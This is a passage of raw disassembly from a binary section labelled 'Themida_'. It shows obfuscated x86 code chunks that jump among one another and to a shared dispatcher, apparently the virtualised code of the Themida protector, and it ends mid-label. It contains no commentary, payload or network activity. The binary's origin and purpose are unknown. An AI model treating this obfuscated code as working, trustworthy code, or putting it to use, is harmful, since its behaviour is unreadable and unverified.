Themida_:0054B029j push esp pop ecx push ebp mov ebp, 4 add ecx, ebp jmp loc_547FEF ; --------------------------------------------------------------------------- loc_54CD2B: ; CODE XREF: Themida_:0054C607j add edi, eax pop eax jmp loc_54DC4D ; --------------------------------------------------------------------------- loc_54CD33: ; CODE XREF: Themida_:00545393j push eax mov eax, 23E40FE3h jmp loc_54B734 ; --------------------------------------------------------------------------- loc_54CD3E: ; CODE XREF: Themida_:0054A073j push ebp push eax mov eax, 0 push eax add dword ptr [esp], 49111061h jmp loc_54B231 ; --------------------------------------------------------------------------- loc_54CD52: ; CODE XREF: Themida_:0054C880j add esp, 4 jmp loc_54FC02 ; --------------------------------------------------------------------------- loc_54CD5D: ; CODE XREF: Themida_:0054C805j pop ebp push 3AFDh mov [esp], edi jmp loc_54600B ; --------------------------------------------------------------------------- loc_54CD6B: ; CODE XREF: Themida_:0054DA8Cj and eax, edi pop edi or edx, eax jmp loc_54BF35 ; --------------------------------------------------------------------------- loc_54CD75: ; CODE XREF: Themida_:00548895j add [esp+4], ebx pop ebx jmp loc_546D11 ; --------------------------------------------------------------------------- loc_54CD7F: ; CODE XREF: Themida_:00549552j add eax, 4 jmp loc_5464CB ; --------------------------------------------------------------------------- loc_54CD87: ; CODE XREF: Themida_:00549DA0j mov [esp], esi push 73F836B9h pop esi add esi, 8C07C948h mov ecx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_545F29 ; --------------------------------------------------------------------------- loc_54CDA6: ; CODE XREF: Themida_:0054DFB9j add eax, [ebx] pop ebx pop ecx push dword ptr [esp] pop edx push edi mov edi, esp push eax mov eax, 504B6516h inc eax not eax jmp loc_548811 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54CDCD: ; CODE XREF: Themida_:0054F5B8j push edi push eax push 19F618D5h pop eax jmp loc_548074 ; --------------------------------------------------------------------------- loc_54CDDA: ; CODE XREF: Themida_:0054CC4Cj mov edi, 4 add ebx, edi pop edi jmp loc_5476CD ; --------------------------------------------------------------------------- loc_54CDE7: ; CODE XREF: Themida_:0054E98Bj pop ecx pop edi add edi, 4 add edi, 2 xchg edi, [esp] jmp loc_54C109 ; --------------------------------------------------------------------------- loc_54CDFA: ; CODE XREF: Themida_:0054C230j mov ecx, [esp] jmp loc_54BF94 ; --------------------------------------------------------------------------- loc_54CE02: ; CODE XREF: Themida_:005494D8j mov esp, [esp] jmp loc_5459FD ; --------------------------------------------------------------------------- loc_54CE0A: ; CODE XREF: Themida_:00547C49j add ecx, esi jmp loc_54AD13 ; --------------------------------------------------------------------------- loc_54CE11: ; CODE XREF: Themida_:0054436Fj mov ebx, 34BA1AF0h add ebx, ecx jmp loc_547D09 ; --------------------------------------------------------------------------- loc_54CE1D: ; CODE XREF: Themida_:0054D702j add esp, 4 push ebx jmp loc_547FC0 ; --------------------------------------------------------------------------- loc_54CE29: ; CODE XREF: Themida_:0054D811j pop ebp add edi, ecx push ebx jmp loc_5500B8 ; --------------------------------------------------------------------------- mov cx, [esp] push 419Dh mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_547947 ; --------------------------------------------------------------------------- loc_54CE49: ; CODE XREF: Themida_:0054F5C8j add esp, 4 jmp loc_549379 ; --------------------------------------------------------------------------- loc_54CE54: ; CODE XREF: Themida_:0054C1BEj mov [esp], edx mov edx, 36CA5BDAh jmp loc_54B993 ; --------------------------------------------------------------------------- loc_54CE61: ; CODE XREF: Themida_:0054B957j mov [esp], eax mov eax, 4 jmp loc_544D5A ; --------------------------------------------------------------------------- loc_54CE6E: ; CODE XREF: Themida_:0054AA5Ej mov esp, [esp] jmp loc_5461B6 ; --------------------------------------------------------------------------- loc_54CE76: ; CODE XREF: Themida_:0054764Ej add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 41F2h mov [esp], ecx mov ch, 88h push small 8EDh mov [esp], cx xchg dl, [esp+1] not dl xor [esp+1], dl xor dl, [esp+1] jmp loc_5488AC ; --------------------------------------------------------------------------- loc_54CEA8: ; CODE XREF: Themida_:0054F2BBj push ecx push esp pop ecx push esi push eax mov eax, 66394B92h jmp loc_54F049 ; --------------------------------------------------------------------------- loc_54CEB7: ; CODE XREF: Themida_:005452B1j movzx eax, al push dword ptr [edi+eax*4] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54CEC2: ; CODE XREF: Themida_:0054ADE9j pop ecx mov edx, [esp] add esp, 4 push esi jmp loc_546F25 ; --------------------------------------------------------------------------- loc_54CED2: ; CODE XREF: Themida_:0054C4DEj add edx, 4 push ebp mov ebp, 69DF229Fh add ebp, 9620DD65h sub edx, ebp pop ebp xchg edx, [esp] pop esp mov [esp], ecx push edx mov dh, 0C3h mov cl, dh pop edx sub al, 97h sub al, cl add al, 97h mov ecx, [esp] push ebp push esp jmp loc_54B3FE ; --------------------------------------------------------------------------- loc_54CF04: ; CODE XREF: Themida_:00545FAAj pop dword ptr [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], eax push 6783h mov [esp], edi sub esp, 4 mov [esp], esi jmp loc_54E607 ; --------------------------------------------------------------------------- loc_54CF24: ; CODE XREF: Themida_:00549EE5j mov [esp], edx push eax push ecx mov ecx, 4637304h mov eax, ecx pop ecx xor eax, 5E27650h not eax add eax, 4D4D37B1h mov edx, eax mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_54565D ; --------------------------------------------------------------------------- loc_54CF53: ; CODE XREF: Themida_:00548DDEj mov ebx, 92F62C3h add dword ptr [esp+4], 4DFB32D3h add [esp+4], ebx sub dword ptr [esp+4], 4DFB32D3h pop ebx pop eax sub eax, 92F62C3h pop edi add eax, edi mov ecx, [eax] mov eax, [esp] jmp loc_54723A ; --------------------------------------------------------------------------- loc_54CF80: ; CODE XREF: Themida_:0054736Ej shr edi, 1 jmp loc_54E9EB ; --------------------------------------------------------------------------- loc_54CF87: ; CODE XREF: Themida_:0054CA5Aj sub edi, 61DA1866h sub edx, edi pop edi jmp loc_54A0E9 ; --------------------------------------------------------------------------- loc_54CF95: ; CODE XREF: Themida_:00548E66j xchg edx, [esp] pop esp sub edx, 4A897951h and eax, edx push dword ptr [esp] pop edx jmp loc_54D599 ; --------------------------------------------------------------------------- loc_54CFAA: ; CODE XREF: Themida_:00546463j add esp, 4 push ebp mov ebp, 54CC6A93h shl ebp, 8 xor ebp, 6F9F5585h not ebp push edx mov edx, 162342D8h add edx, 7EB515B1h or edx, 54E92095h and edx, 5010501Ch xor edx, 4F306D3Bh jmp loc_54F583 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_546594 ; --------------------------------------------------------------------------- loc_54CFEA: ; CODE XREF: Themida_:005459ECj sub ax, bx pop ebx push 252Ch mov [esp], ebp push small 7BB4h jmp loc_5491BB ; --------------------------------------------------------------------------- loc_54CFFF: ; CODE XREF: Themida_:0054C379j push edi jmp loc_54D2A3 ; --------------------------------------------------------------------------- loc_54D005: ; CODE XREF: Themida_:00544D9Dj pop esp jmp loc_54A7C6 ; --------------------------------------------------------------------------- loc_54D00B: ; CODE XREF: Themida_:0054F7F4j mov ecx, esp push edi mov edi, 74592DA3h add edi, 8BA6D261h jmp loc_54C8F0 ; --------------------------------------------------------------------------- loc_54D01E: ; CODE XREF: Themida_:0054F2E3j push ebp jmp loc_54C838 ; --------------------------------------------------------------------------- loc_54D024: ; CODE XREF: Themida_:00547034j pop esp imul cl movzx cx, ah push small 64BBh mov [esp], cx movzx cx, al jmp loc_5448DB ; --------------------------------------------------------------------------- loc_54D03C: ; CODE XREF: Themida_:0054BCD2j mov edi, [esp] add esp, 4 jmp loc_54D824 ; --------------------------------------------------------------------------- loc_54D04A: ; CODE XREF: Themida_:00548E04j mov esi, 74C17A6h add esi, 5D343225h xor eax, esi pop esi xor eax, 56DA5C98h xor edx, eax mov eax, [esp] add esp, 4 and ecx, edx jmp loc_54FF81 ; --------------------------------------------------------------------------- loc_54D06C: ; CODE XREF: Themida_:00547A10j not eax neg eax add eax, 0FFFFFFFFh xor eax, 64AD622Fh jmp loc_5484BF ; --------------------------------------------------------------------------- loc_54D07D: ; CODE XREF: Themida_:005480EDj inc esi not esi xor esi, 41773810h jmp loc_54A5B7 ; --------------------------------------------------------------------------- loc_54D08B: ; CODE XREF: Themida_:00545FFEj mov ebx, [esp] push 4CA6h mov [esp], ebx mov ebx, esp add ebx, 4 push esi push ecx push 376A3FE5h jmp loc_5453EF ; --------------------------------------------------------------------------- loc_54D0AA: ; CODE XREF: Themida_:0054429Cj add esi, 414219ACh sub esi, 7C3D5Fh pop ecx jmp loc_54440E ; --------------------------------------------------------------------------- loc_54D0BC: ; CODE XREF: Themida_:00544B29j not edx xchg edx, ebx sub ebx, 6D0CB822h add edx, 22181ADCh add edx, ebx sub edx, 22181ADCh pop ebx jmp loc_544022 ; --------------------------------------------------------------------------- loc_54D0DA: ; CODE XREF: Themida_:00549C69j mov cl, ah jmp loc_549C89 ; --------------------------------------------------------------------------- loc_54D0E1: ; CODE XREF: Themida_:0054C64Fj push esi mov esi, esp add esi, 4 jmp loc_548D58 ; --------------------------------------------------------------------------- loc_54D0EF: ; CODE XREF: Themida_:00548FA3j add edi, 58FDDD4Bh mov esi, edi pop edi add ecx, esi pop esi add ebp, ecx pop ecx sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], ax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54D10E: ; CODE XREF: Themida_:0054BDC2j sub esi, 7C2A7855h push ecx mov ecx, 378A3786h neg ecx push 5DAAh mov [esp], ebx push edi mov edi, 613D7FDCh mov ebx, edi pop edi sub ecx, ebx pop ebx and ecx, 3BBA49B5h push eax mov eax, 54512D7Ah xor eax, 64E566A5h sub ecx, eax pop eax add esi, ecx pop ecx add eax, 77261AB4h sub eax, 35536572h sub eax, esi add eax, 35536572h sub eax, 77261AB4h jmp loc_547F08 ; --------------------------------------------------------------------------- loc_54D162: ; CODE XREF: Themida_:0054C3EBj mov esi, 0A0607FBh xor edx, esi pop esi add ebp, edx jmp loc_54D195 ; --------------------------------------------------------------------------- loc_54D171: ; CODE XREF: Themida_:00548BB5j mov eax, esp jmp loc_54D68B ; --------------------------------------------------------------------------- loc_54D178: ; CODE XREF: Themida_:00548940j add esp, 4 add ebx, eax mov eax, [esp] add esp, 4 jmp loc_54F520 ; --------------------------------------------------------------------------- loc_54D18B: ; CODE XREF: Themida_:0054E1D4j mov ebp, 45EB5541h jmp loc_54A192 ; --------------------------------------------------------------------------- loc_54D195: ; CODE XREF: Themida_:0054D16Cj pop edx jmp loc_54FB36 ; --------------------------------------------------------------------------- loc_54D19B: ; CODE XREF: Themida_:0054D7C4j mov ecx, [esp] add esp, 4 push ebp mov ebp, 6928298Bh jmp loc_545BA3 ; --------------------------------------------------------------------------- loc_54D1AC: ; CODE XREF: Themida_:0054B238j pop eax jmp loc_54F8D7 ; --------------------------------------------------------------------------- loc_54D1B2: ; CODE XREF: Themida_:0054F5CFj add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_54C3AB ; --------------------------------------------------------------------------- loc_54D1C3: ; CODE XREF: Themida_:0054F009j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54D1C8: ; CODE XREF: Themida_:00544FF9j inc ebx jmp loc_547C04 ; --------------------------------------------------------------------------- loc_54D1CE: ; CODE XREF: Themida_:005483E0j not dword ptr [esp] mov edx, [esp] push ebp push esp pop ebp push eax jmp loc_54E60D ; --------------------------------------------------------------------------- loc_54D1DD: ; CODE XREF: Themida_:0054BB1Dj add esp, 4 jmp loc_547EFD ; --------------------------------------------------------------------------- loc_54D1E5: ; CODE XREF: Themida_:00546A55j pop ebx mov edx, [esp] jmp loc_545008 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54D1EE: ; CODE XREF: sub_545BCC+1964j mov ch, 34h add bl, 0C1h add bl, ch jmp loc_54B95C ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_54D1FA: ; CODE XREF: Themida_:0054BD55j pop ebx push edi mov edi, 26A35C9Ch xor edi, 7E20694h and edi, 4E697E7Dh sub edi, 7D807FF9h shr edi, 1 xor edi, 41606D05h add edx, edi pop edi push edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_544B91 ; --------------------------------------------------------------------------- loc_54D22B: ; CODE XREF: Themida_:005460A2j add ebp, 244003EBh sub ebp, 680E7682h jmp loc_548DA4 ; --------------------------------------------------------------------------- loc_54D23C: ; CODE XREF: Themida_:00544CACj add esp, 4 jmp loc_5495BC ; --------------------------------------------------------------------------- lodsb xor al, bl push 3397h jmp loc_54EEB2 ; --------------------------------------------------------------------------- loc_54D251: ; CODE XREF: Themida_:0054598Bj push 564h mov [esp], edi mov edi, esp add edi, 4 push ebx mov ebx, 2 add edi, ebx pop ebx push esi jmp loc_54C73B ; --------------------------------------------------------------------------- loc_54D270: ; CODE XREF: Themida_:0054ABE6j dec edi sub edi, 93D0429h xor esi, edi pop edi xor esi, 0C7BCA9D0h add ebx, esi jmp loc_545769 ; --------------------------------------------------------------------------- loc_54D287: ; CODE XREF: Themida_:0054DF02j push ebp mov ebp, esp jmp loc_548AFC ; --------------------------------------------------------------------------- loc_54D28F: ; CODE XREF: Themida_:0054A8A3j mov [esp], ebp mov ebp, 3D60507h xor ebp, 31F40DE2h push eax jmp loc_5448A5 ; --------------------------------------------------------------------------- loc_54D2A3: ; CODE XREF: Themida_:0054D000j push esi push ebp mov ebp, 67231E6Ch add ebp, 3977277Bh jmp loc_54A03E ; --------------------------------------------------------------------------- loc_54D2B5: ; CODE XREF: Themida_:00549888j inc ecx or ecx, 48001117h not ecx push eax mov eax, 6C2D3483h or eax, 120A54EEh add eax, 1 or eax, 17E60598h shr eax, 1 not eax xor eax, 0CFED8F70h sub ecx, eax pop eax add ebx, 6AC51F52h add ebx, ecx sub ebx, 6AC51F52h pop ecx sub esp, 4 mov [esp], ebx push 6F131AEh jmp loc_548DEB ; --------------------------------------------------------------------------- loc_54D2FC: ; CODE XREF: Themida_:0054D944j mov [esp], ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 push ecx jmp loc_548F56 ; --------------------------------------------------------------------------- loc_54D315: ; CODE XREF: Themida_:0054758Dj mov esp, [esp] mov ax, [esp] push esi push esp jmp loc_54EED7 ; --------------------------------------------------------------------------- loc_54D323: ; CODE XREF: Themida_:0054CC10j push edi mov edi, 65151DBFh push ebx mov ebx, 7E737AC0h jmp loc_54D78C ; --------------------------------------------------------------------------- loc_54D334: ; CODE XREF: Themida_:00549134j sub ax, 5D90h add ax, 6B58h sub ax, bp sub ax, 6B58h add ax, 5D90h pop ebp jmp loc_54A05A ; --------------------------------------------------------------------------- loc_54D34D: ; CODE XREF: Themida_:00545B82j mov ecx, [esp] add esp, 4 jmp loc_54AB9C ; --------------------------------------------------------------------------- loc_54D358: ; CODE XREF: Themida_:0054BEDFj mov eax, esp add eax, 4 sub eax, 4 jmp loc_545185 ; --------------------------------------------------------------------------- loc_54D367: ; CODE XREF: Themida_:0054D686j pop ecx sub esp, 4 mov [esp], edx sub esp, 4 jmp loc_546859 ; --------------------------------------------------------------------------- loc_54D379: ; CODE XREF: Themida_:0054CA30j mov [esp], esp push esi jmp loc_54521A ; --------------------------------------------------------------------------- loc_54D382: ; CODE XREF: Themida_:0054F586j not ebp xor ebp, 0C839D1E3h add ebx, 3602F82h jmp loc_546345 ; --------------------------------------------------------------------------- loc_54D395: ; CODE XREF: Themida_:0054D952j xor [esp+4], edx push dword ptr [esp] pop edx push esi mov esi, esp push ecx jmp loc_548768 ; --------------------------------------------------------------------------- loc_54D3A6: ; CODE XREF: Themida_:0054BF6Aj sub ebx, edi pop edi add eax, 79CF0ACEh add eax, ebx push ebx mov ebx, 143936EBh or ebx, 66500910h dec ebx jmp loc_54B928 ; --------------------------------------------------------------------------- loc_54D3C2: ; CODE XREF: Themida_:0054EEADj add esi, 0C8B2AD2Ch mov edi, esi pop esi push edx mov edx, 757757D7h xor edi, edx mov edx, [esp] add esp, 4 jmp loc_54AB3E ; --------------------------------------------------------------------------- loc_54D3E1: ; CODE XREF: Themida_:00546589j mov edx, 8428B36Dh sub ecx, edx jmp loc_54E468 ; --------------------------------------------------------------------------- loc_54D3ED: ; CODE XREF: Themida_:00548169j or esi, 3FAD53A1h or esi, 22FB6B40h jmp loc_54E8D9 ; --------------------------------------------------------------------------- loc_54D3FE: ; CODE XREF: Themida_:00546083j xchg edi, [esp] pop esp mov [esp], edi jmp loc_54F832 ; --------------------------------------------------------------------------- loc_54D40A: ; CODE XREF: Themida_:0054BEF9j pop ebx jmp loc_54B820 ; --------------------------------------------------------------------------- loc_54D410: ; CODE XREF: Themida_:0054B381j sub ebp, eax mov eax, [esp] jmp loc_54ADEE ; --------------------------------------------------------------------------- loc_54D41A: ; CODE XREF: Themida_:00547A44j push 585F5F2Bh pop edi push eax jmp loc_54C602 ; --------------------------------------------------------------------------- loc_54D426: ; CODE XREF: Themida_:0054923Bj add esp, 4 sub esi, edi push edi jmp loc_54AB04 ; --------------------------------------------------------------------------- loc_54D434: ; CODE XREF: Themida_:0054E742j pop edx sub al, ch mov cx, [esp] add esp, 2 mov ebx, [esp] jmp loc_54EED1 ; --------------------------------------------------------------------------- loc_54D446: ; CODE XREF: Themida_:0054A867j push esi sub esp, 4 jmp loc_54A00F ; --------------------------------------------------------------------------- loc_54D44F: ; CODE XREF: Themida_:00546D70j mov dh, 31h sub ch, dh pop dx neg ch push ebx mov bh, 13h push ecx mov ch, 16h jmp loc_547E50 ; --------------------------------------------------------------------------- loc_54D462: ; CODE XREF: Themida_:00547EB4j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor bl, al jmp loc_54A0C6 ; --------------------------------------------------------------------------- loc_54D485: ; CODE XREF: Themida_:0054B457j pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_545B3F ; --------------------------------------------------------------------------- loc_54D494: ; CODE XREF: Themida_:00547DF4j add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor ecx, 6B649C1Bh sub ebx, ecx pop ecx jmp loc_5445AE ; --------------------------------------------------------------------------- loc_54D4B2: ; CODE XREF: Themida_:0054E13Cj xor eax, 68297BD7h dec eax jmp loc_54F90F ; --------------------------------------------------------------------------- loc_54D4BD: ; CODE XREF: Themida_:0054E608j mov ebp, 5D3219A5h add ebp, 6B0E56A9h sub ebp, 7F5C1E58h jmp loc_54B5B2 ; --------------------------------------------------------------------------- loc_54D4D3: ; CODE XREF: Themida_:005497BFj neg ecx jmp loc_54FFAA ; --------------------------------------------------------------------------- loc_54D4DA: ; CODE XREF: Themida_:0054E59Dj pop ebx add ecx, 2 push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 68D5h mov [esp], ebx push esp pop ebx jmp loc_547429 ; --------------------------------------------------------------------------- loc_54D518: ; CODE XREF: Themida_:0054AFC4j push eax mov al, 40h inc al jmp loc_54C102 ; --------------------------------------------------------------------------- loc_54D522: ; CODE XREF: Themida_:0054ED70j xchg ebp, [esp] jmp loc_54B2B4 ; --------------------------------------------------------------------------- loc_54D52A: ; CODE XREF: Themida_:00549051j push esp mov edx, [esp] add esp, 4 push edi push ecx mov ecx, 3E90412h neg ecx sub ecx, 11113545h shr ecx, 2 or ecx, 32BD2405h jmp loc_545EB0 ; --------------------------------------------------------------------------- loc_54D54E: ; CODE XREF: Themida_:00546282j and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push edx jmp loc_54A078 ; --------------------------------------------------------------------------- loc_54D569: ; CODE XREF: Themida_:0054528Dj inc bl mov al, bl jmp loc_54DF19 ; --------------------------------------------------------------------------- loc_54D572: ; CODE XREF: Themida_:0054942Dj push 2DD7h mov [esp], edi push esi mov esi, 0B0E2DE8h jmp loc_5498F3 ; --------------------------------------------------------------------------- loc_54D585: ; CODE XREF: Themida_:0054A479j shr ah, 4 add ah, 38h sub esp, 4 mov [esp], ebx jmp loc_54F858 ; --------------------------------------------------------------------------- loc_54D599: ; CODE XREF: Themida_:0054CFA5j push ecx mov ecx, esp sub esp, 4 mov [esp], edx jmp loc_54F87B ; --------------------------------------------------------------------------- loc_54D5AA: ; CODE XREF: Themida_:0054E19Bj mov ebx, edx push dword ptr [esp] pop edx add esp, 4 add dword ptr [esp+4], 0EA1658Ah sub [esp+4], ebx push esi sub esp, 4 mov [esp], ebx mov ebx, 55171E0Ch mov esi, 0B98A477Eh jmp loc_54B28B ; --------------------------------------------------------------------------- loc_54D5D5: ; CODE XREF: Themida_:00549BA4j sub ebx, 27C335B5h push ebp mov ebp, 7475756Ch push 1F6Eh mov [esp], edi mov edi, 4D1A2352h xor edi, 3AA96BE7h neg edi xor edi, 95EBA953h add ebx, edi jmp loc_54F1B1 ; --------------------------------------------------------------------------- loc_54D603: ; CODE XREF: Themida_:005493ACj shr ecx, 0Bh push 14E4h mov [esp], ebx push ebp mov ebp, 7C053457h sub [esp+4], ebp pop ebp mov eax, [esp] sub esp, 4 mov [esp], ebp jmp loc_5476C5 ; --------------------------------------------------------------------------- loc_54D62A: ; CODE XREF: Themida_:0054B4FCj push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_545FAF ; --------------------------------------------------------------------------- loc_54D63D: ; CODE XREF: Themida_:0054E965j mov edi, edx jmp loc_5470B5 ; --------------------------------------------------------------------------- loc_54D644: ; CODE XREF: Themida_:0054A160j inc ebp add ebp, 5D02F9F4h push eax mov eax, ebp mov edx, eax pop eax pop ebp jmp loc_547950 ; --------------------------------------------------------------------------- loc_54D657: ; CODE XREF: Themida_:00545DD5j add ebp, 4 jmp loc_54D8CC ; --------------------------------------------------------------------------- loc_54D662: ; CODE XREF: Themida_:00549C8Dj mov ecx, [esp] add esp, 4 pop ebx jmp loc_544022 ; --------------------------------------------------------------------------- loc_54D66E: ; CODE XREF: Themida_:0054AD1Cj add ecx, 439A5ED6h jmp loc_54DE14 ; --------------------------------------------------------------------------- loc_54D679: ; CODE XREF: Themida_:0054F396j and [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_54D367 ; --------------------------------------------------------------------------- loc_54D68B: ; CODE XREF: Themida_:0054D173j push ebp mov ebp, 0F621B4Ch or ebp, 33895E68h jmp loc_54B70D ; --------------------------------------------------------------------------- loc_54D69C: ; CODE XREF: Themida_:0054B2DFj push 4CB8h jmp loc_5469F8 ; --------------------------------------------------------------------------- loc_54D6A6: ; CODE XREF: Themida_:00549F92j sub eax, esi pop esi jmp loc_54C654 ; --------------------------------------------------------------------------- loc_54D6AE: ; CODE XREF: Themida_:0055001Cj pop esp and eax, esi jmp loc_54ACD6 ; --------------------------------------------------------------------------- loc_54D6B6: ; CODE XREF: Themida_:005444AFj sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] pop ecx jmp loc_5490B9 ; --------------------------------------------------------------------------- loc_54D6C9: ; CODE XREF: Themida_:0054C13Cj mov [esp], ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax push eax push 70BFh mov [esp], esi jmp loc_54B905 ; --------------------------------------------------------------------------- loc_54D6E5: ; CODE XREF: Themida_:00544DF9j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54D6F6: ; CODE XREF: Themida_:00544119j push 2CA27580h pop esi and edi, esi push dword ptr [esp] pop esi jmp loc_54CE1D ; --------------------------------------------------------------------------- loc_54D707: ; CODE XREF: Themida_:005469B0j add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp push edx mov edx, 689734B5h neg edx or edx, 354C488Bh xor edx, 6F1F02F0h and edx, 686348B2h jmp loc_549CB1 ; --------------------------------------------------------------------------- loc_54D742: ; CODE XREF: Themida_:0054BC05j xor ebx, 5E8F6D19h push ecx jmp loc_54E440 ; --------------------------------------------------------------------------- loc_54D74E: ; CODE XREF: Themida_:005449DBj push ebp mov ebp, 380865D1h jmp loc_54778F ; --------------------------------------------------------------------------- loc_54D759: ; CODE XREF: Themida_:0054E620j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xchg eax, edx jmp loc_549DEA ; --------------------------------------------------------------------------- loc_54D769: ; CODE XREF: Themida_:0054E5B2j and eax, 3A885CFAh push ecx mov ecx, 20B850DDh jmp loc_54B861 ; --------------------------------------------------------------------------- loc_54D779: ; CODE XREF: Themida_:0054F618j add ch, 0A6h xor al, ch mov ecx, [esp] add esp, 4 sub bl, 0EEh jmp loc_544A63 ; --------------------------------------------------------------------------- loc_54D78C: ; CODE XREF: Themida_:0054D32Fj sub ebx, 793D02BEh and ebx, 4CF2162Ch dec ebx sub ebx, 58157305h jmp loc_549AE9 ; --------------------------------------------------------------------------- loc_54D7A4: ; CODE XREF: Themida_:00548E34j not edx xor edx, 61C207E3h not edx jmp loc_54F982 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_548723 ; --------------------------------------------------------------------------- loc_54D7BC: ; CODE XREF: Themida_:00545BA5j pop ebp jmp loc_54A2A0 ; --------------------------------------------------------------------------- loc_54D7C2: ; CODE XREF: Themida_:005482A4j and edx, ecx jmp loc_54D19B ; --------------------------------------------------------------------------- loc_54D7C9: ; CODE XREF: Themida_:005477A5j mov esp, [esp] jmp loc_546541 ; --------------------------------------------------------------------------- loc_54D7D1: ; CODE XREF: Themida_:0054B2C6j mov [esp], ecx mov ecx, 4 mov edx, ecx pop ecx add edi, edx mov edx, [esp] add esp, 4 jmp loc_547468 ; --------------------------------------------------------------------------- loc_54D7E9: ; CODE XREF: Themida_:00545A92j xor [ecx], esi pop ecx jmp loc_54CC32 ; --------------------------------------------------------------------------- loc_54D7F1: ; CODE XREF: Themida_:0054E289j xor ebp, [esp] pop esp mov [esp], edx jmp loc_544022 ; --------------------------------------------------------------------------- loc_54D7FD: ; CODE XREF: Themida_:0054B87Aj add [esp], al pushf jmp loc_54FBE1 ; --------------------------------------------------------------------------- loc_54D806: ; CODE XREF: Themida_:0054EA2Dj shl ebp, 5 xor ebp, 9A53756h add edi, ebp jmp loc_54CE29 ; --------------------------------------------------------------------------- loc_54D816: ; CODE XREF: Themida_:00547684j mov esi, ecx pop ecx sub edi, 54437A4h jmp loc_545935 ; --------------------------------------------------------------------------- loc_54D824: ; CODE XREF: Themida_:0054D045j push 4F42h mov [esp], edi push esp pop edi jmp loc_5492FC ; --------------------------------------------------------------------------- loc_54D833: ; CODE XREF: Themida_:0054AD4Aj mov ecx, 4 mov ebx, ecx pop ecx sub ebp, 72B21804h add ebp, ebx add ebp, 72B21804h mov ebx, [esp] add esp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] movsx ecx, ax push 5C2Eh jmp loc_5469B5 ; --------------------------------------------------------------------------- loc_54D86E: ; CODE XREF: Themida_:0054C763j push dword ptr [esp] pop edi jmp loc_545BD9 ; --------------------------------------------------------------------------- loc_54D877: ; CODE XREF: Themida_:00548EBAj pop eax add edx, ebx add edx, 56C952BBh pop ebx sub esp, 4 jmp loc_54B10E ; --------------------------------------------------------------------------- loc_54D88C: ; CODE XREF: Themida_:0054FFB9j push edx mov edx, 7D5362Fh sub edx, 7D5362Bh add ebx, edx jmp loc_54EAFF ; --------------------------------------------------------------------------- loc_54D89F: ; CODE XREF: Themida_:00549B92j mov eax, 344A5051h jmp loc_54FE3B ; --------------------------------------------------------------------------- loc_54D8A9: ; CODE XREF: Themida_:00547500j and eax, 0F431AA3h xor eax, 6CD6591Bh sub eax, 34ACEEB9h mov edi, eax pop eax mov eax, 353DDD78h jmp loc_5477AA ; --------------------------------------------------------------------------- loc_54D8C5: ; CODE XREF: Themida_:005467ECj add esi, edx jmp loc_549238 ; --------------------------------------------------------------------------- loc_54D8CC: ; CODE XREF: Themida_:0054D65Dj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi jmp loc_547F2B ; --------------------------------------------------------------------------- loc_54D8DB: ; CODE XREF: Themida_:0054593Ej sub edi, 0D7602526h push ebx mov ebx, edi push 71B0h mov [esp], ebx pop ecx jmp loc_54ADF9 ; --------------------------------------------------------------------------- loc_54D8F2: ; CODE XREF: Themida_:005471B4j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 xchg edi, [esp] pop esp mov [esp], ebx mov ebx, eax jmp loc_547CA0 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54D917: ; CODE XREF: Themida_:0054DC7Dj pop ebp add eax, 4 xchg eax, [esp] pop esp push 2A85h mov [esp], ebx push 118F76C6h mov ebx, [esp] jmp loc_54F59D ; --------------------------------------------------------------------------- loc_54D934: ; CODE XREF: Themida_:005500CEj sub edi, ecx pop ecx jmp loc_54492C ; --------------------------------------------------------------------------- mov eax, [esp] push 3C90h jmp loc_54D2FC ; --------------------------------------------------------------------------- loc_54D949: ; CODE XREF: Themida_:00544175j mov [esp], edx push 2783738Dh pop edx jmp loc_54D395 ; --------------------------------------------------------------------------- loc_54D957: ; CODE XREF: Themida_:00549930j pop ebx add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_54BF1F ; --------------------------------------------------------------------------- lodsb push bx jmp loc_545458 ; --------------------------------------------------------------------------- loc_54D973: 